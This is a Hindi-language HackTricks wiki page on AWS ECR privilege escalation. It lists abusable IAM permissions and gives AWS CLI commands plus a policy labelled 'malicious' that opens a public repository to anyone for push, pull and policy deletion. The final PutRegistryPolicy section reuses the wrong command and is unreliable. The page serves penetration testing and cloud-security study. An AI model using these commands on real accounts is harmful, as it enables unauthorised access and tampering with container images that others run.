AWS - ECR Privesc

Support HackTricks

ECR

ecr:GetAuthorizationToken,ecr:BatchGetImage

एक हमलावर जिसके पास ecr:GetAuthorizationToken और ecr:BatchGetImage हैं, वह ECR में लॉगिन कर सकता है और इमेज डाउनलोड कर सकता है।

इमेज डाउनलोड करने के तरीके के बारे में अधिक जानकारी के लिए:

संभावित प्रभाव: ट्रैफिक में संवेदनशील जानकारी को इंटरसेप्ट करके अप्रत्यक्ष प्रिविलेज़ एस्कलेशन।

ecr:GetAuthorizationToken, ecr:BatchCheckLayerAvailability, ecr:CompleteLayerUpload, ecr:InitiateLayerUpload, ecr:PutImage, ecr:UploadLayerPart

एक हमलावर जिसके पास ये सभी अनुमतियाँ हैं, ECR में लॉगिन कर सकता है और इमेज अपलोड कर सकता है। यह उन अन्य वातावरणों में प्रिविलेज़ बढ़ाने के लिए उपयोगी हो सकता है जहाँ ये इमेज उपयोग की जा रही हैं।

नई इमेज अपलोड करने/एक को अपडेट करने के तरीके के लिए, देखें:

ecr-public:GetAuthorizationToken, ecr-public:BatchCheckLayerAvailability, ecr-public:CompleteLayerUpload, ecr-public:InitiateLayerUpload, ecr-public:PutImage, ecr-public:UploadLayerPart

पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए।

ecr:SetRepositoryPolicy

एक हमलावर जिसके पास यह अनुमति है, वह रिपॉजिटरी नीति को बदल सकता है ताकि वह (या यहां तक कि सभी) को पढ़ने/लिखने की अनुमति मिल सके। उदाहरण के लिए, इस उदाहरण में सभी को पढ़ने की अनुमति दी गई है।

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json

my-policy.json की सामग्री:

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

ecr-public:SetRepositoryPolicy

पिछले अनुभाग की तरह, लेकिन सार्वजनिक रिपॉजिटरी के लिए। एक हमलावर रिपॉजिटरी नीति को संशोधित कर सकता है एक ECR सार्वजनिक रिपॉजिटरी की ताकि अनधिकृत सार्वजनिक पहुंच प्रदान की जा सके या अपनी विशेषाधिकारों को बढ़ाया जा सके।

bashCopy code# Create a JSON file with the malicious public repository policy
echo '{
"Version": "2008-10-17",
"Statement": [
{
"Sid": "MaliciousPublicRepoPolicy",
"Effect": "Allow",
"Principal": "*",
"Action": [
"ecr-public:GetDownloadUrlForLayer",
"ecr-public:BatchGetImage",
"ecr-public:BatchCheckLayerAvailability",
"ecr-public:PutImage",
"ecr-public:InitiateLayerUpload",
"ecr-public:UploadLayerPart",
"ecr-public:CompleteLayerUpload",
"ecr-public:DeleteRepositoryPolicy"
]
}
]
}' > malicious_public_repo_policy.json

# Apply the malicious public repository policy to the ECR Public repository
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json

संभावित प्रभाव: ECR सार्वजनिक भंडार तक अनधिकृत सार्वजनिक पहुंच, जिससे कोई भी उपयोगकर्ता छवियों को पुश, पुल या हटाने की अनुमति मिलती है।

ecr:PutRegistryPolicy

इस अनुमति के साथ एक हमलावर पॉलिसी को बदल सकता है ताकि वह अपने लिए, अपने खाते के लिए (या यहां तक कि सभी के लिए) पढ़ने/लिखने की पहुंच प्रदान कर सके।

aws ecr set-repository-policy \
--repository-name <repo_name> \
--policy-text file://my-policy.json
HackTricks का समर्थन करें

Last updated